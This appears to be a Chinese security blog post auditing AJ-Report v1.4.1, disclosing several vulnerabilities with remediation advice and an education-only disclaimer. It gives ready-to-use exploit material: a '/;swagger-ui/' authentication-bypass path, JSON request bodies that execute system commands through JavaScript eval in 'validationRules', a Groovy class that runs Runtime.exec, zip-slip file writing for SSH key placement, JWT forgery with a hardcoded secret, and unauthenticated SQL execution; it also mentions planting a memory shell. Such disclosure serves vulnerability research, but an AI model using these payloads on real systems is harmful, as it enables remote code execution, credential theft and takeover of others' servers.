aj-report 二次就业

前提

​ 最新先知有人发了aj-report文章,看了看,是一个filter绕过,还有jwt,竟然还没修,这是两年前发表的AJ-Report_RCE。aj-report是我两年前学习代码审计审计的第一套代码,那时候藏了一些洞没写,所以现在重新看一看。 环境v1.4.1。

0x01 filter 绕过

com.anjiplus.template.gaea.business.filter.TokenFilter.java

image-20240518162005901

这获取了URL,然后判断是否包含“swagger-ui”或着”swagger-resources”,包含直接放行。

没什么好说的,鉴权绕过。

0x02 sql 信息泄漏

com.anji.plus.gaea.curd.controller.GaeaBaseController#pageList

image-20240518162328997

直接查询dataSource的信息,然后把Dto信息全部直接放回,造成泄漏

image-20240518162649169

image-20240518162703149

Dto里面存在Collections集合,直接把配置信息放回出来。

image-20240518162748790

结合一下,可以拿到数据库账号密码

1
/;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10

0x03 js执行命令

​ 参考两年前发表的AJ-Report_RCE,(https://mp.weixin.qq.com/s/HsH_nEI5SyOP_Y9Qbm0A1w)

没有修复。

第一个点 (validationRules参数校验点)

com.anjiplus.template.gaea.business.modules.dataset.service.impl.DataSetServiceImpl#testTransform

image-20240518170617256

看方法实现

image-20240518170725585

image-20240518170744654

然后执行。

第二个点(js脚本)

com.anjiplus.template.gaea.business.modules.datasettransform.service.impl.JsTransformServiceImpl#getValueFromJs.java

image-20240518163727500

image-20240518163045542

image-20240518163123617

这里两个地方都可以,也根本不用绕过。

1
{"dynSentence": "{\"apiUrl\":\"http://127.0.0.1:9095/dataSet/testTransform\",\"method\":\"GET\",\"header\":\"{\\\"Content-Type\\\":\\\"application/json;charset=UTF-8\\\"}\",\"body\":\"\"}","dataSetParamDtoList":[{"paramName":"","paramDesc":"","paramType":"","sampleItem":"","mandatory":true,"requiredFlag":2,"validationRules":"function verification(data){var se= new javax.script.ScriptEngineManager();var r = se.getEngineByExtension(\"js\").eval(\"new java.lang.ProcessBuilder('calc').start().getInputStream();\");result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='';while((line = result.readLine()) != null){ss+=line};return ss;}"}],"dataSetTransformDtoList":[{"transformType":"js","transformScript":""}],"setType":"http"}

0x04 validationRules 命令执行

com.anjiplus.template.gaea.business.modules.datasetparam.controller.DataSetParamController#verification。java

其实看上面就知道,js的规则,然后走到eval。

image-20240518163348486

com.anjiplus.template.gaea.business.modules.datasetparam.service.impl.DataSetParamServiceImpl#verification(com.anjiplus.template.gaea.business.modules.datasetparam.controller.dto.DataSetParamDto)

image-20240518163508484

对应实现类,有绕过,套娃就行。

dto里面设置validationRules就行。

image-20240518163558285

1
{"sampleItem":"1","validationRules":"function verification(data){var se= new javax.script.ScriptEngineManager();var r = se.getEngineByExtension(\"js\").eval(\"new java.lang.ProcessBuilder('whoami').start().getInputStream();\");result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='';while((line = result.readLine()) != null){ss+=line};return ss;}"}

0x05 zip-spilf

com.anjiplus.template.gaea.business.modules.dashboard.controller.ReportDashboardController#importDashboard.java

image-20240518164441990

对应的controller,传file流何code就好

com.anjiplus.template.gaea.business.modules.dashboard.service.impl.ReportDashboardServiceImpl#importDashboard 实现类

image-20240518164555873

image-20240518164804829

没有的zipEntry进行../ 过滤,导致zip目录穿越。

image-20240518165010494

image-20240518165146571

然后ssh 指定私钥连接。

0x06 大屏分享信息泄漏

com.anjiplus.template.gaea.business.modules.reportshare.controller.ReportShareController#detailByCode

image-20240518165304296

对象实现类

image-20240518165347451

根据shareCode可以获取到查询信息,然后加密后直接放回

image-20240518165529103

jwt可以直接解密

image-20240518165611067

直接可以获得分享密码。

0x07 java代码执行

​ 还是数据集那个点,走java方式。

com.anjiplus.template.gaea.business.modules.dataset.service.impl.DataSetServiceImpl#testTransform

image-20240518171003277

对应实现类

com.anjiplus.template.gaea.business.modules.datasettransform.service.impl.DataSetTransformServiceImpl#transform

image-20240518171024005

com.anjiplus.template.gaea.business.modules.datasettransform.service.impl.GroovyTransformServiceImpl#transform

image-20240518171125405

最后会来到GroovyClassLoader,进行处理,也就是我们写一个类给GroovyClassLoader加载就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.alibaba.fastjson.JSONObject;
import com.anjiplus.template.gaea.business.modules.datasettransform.service.IGroovyHandler;


import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.*;

public class test implements IGroovyHandler {
@Override
public List<JSONObject> transform(List<JSONObject> data) throws Exception {
String execResult = new Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
return Arrays.asList(execResult.split("\\s+"));
}
}

image-20240518172641917

能写代码,那就打下内存马吧。

1

image-20240518180552989

成功.

0x08 jwt 绕过登录

com.anjiplus.template.gaea.business.modules.accessuser.service.impl.AccessUserServiceImpl#login

image-20240518181616974

com.anji.plus.gaea.utils.JwtBean#createToken(java.lang.String, java.lang.String, java.lang.Integer, java.lang.String)

image-20240518181652357

com.anji.plus.gaea.GaeaProperties.Security#jwtSecretimage-20240518181731845

这里密钥是写在依赖包下,无法修改

image-20240518181810240

这一块得修改一下

image-20240518182103331

jwt验证只校验用户名,这边key没法改,随便伪造

具体参考(https://mp.weixin.qq.com/s/HsH_nEI5SyOP_Y9Qbm0A1w)

0x09 sql问题

​ 本质是没做用户权限校验,导致任何人都能操作,由于有filter绕过,就写出来吧

com.anjiplus.template.gaea.business.modules.dataset.service.impl.DataSetServiceImpl#testTransform

还是这个点

image-20240518183214449

从DTO里面获取参数,然后查询

1
{"sourceCode":"utf_8","dynSentence":"show DATABASES","dataSetParamDtoList":[],"dataSetTransformDtoList":[],"setType":"sql"}

image-20240518183243070

也就是可以直接利用sql修改账号密码。

修复意见

接口健全确实,主要靠filter,一些重要的接口,权限缺失,如/dataSource、/dataSet下的接口,匿名用户也可以操作,filter建议直接使用getServletPath(),或者重写一下。

jwt的认证密钥是写在依赖包里面,无法修改.

返回包里面的DTO,把敏感字短执行加密。

声明

此文章 仅用于教育目的。请负责任地使用它,并且仅在您有明确测试权限的系统上使用。滥用此 PoC 可能会导致严重后果。


aj-report 二次就业
https://unam4.github.io/2024/05/18/aj-report-二次就业/
作者
unam4
发布于
2024年5月18日
许可协议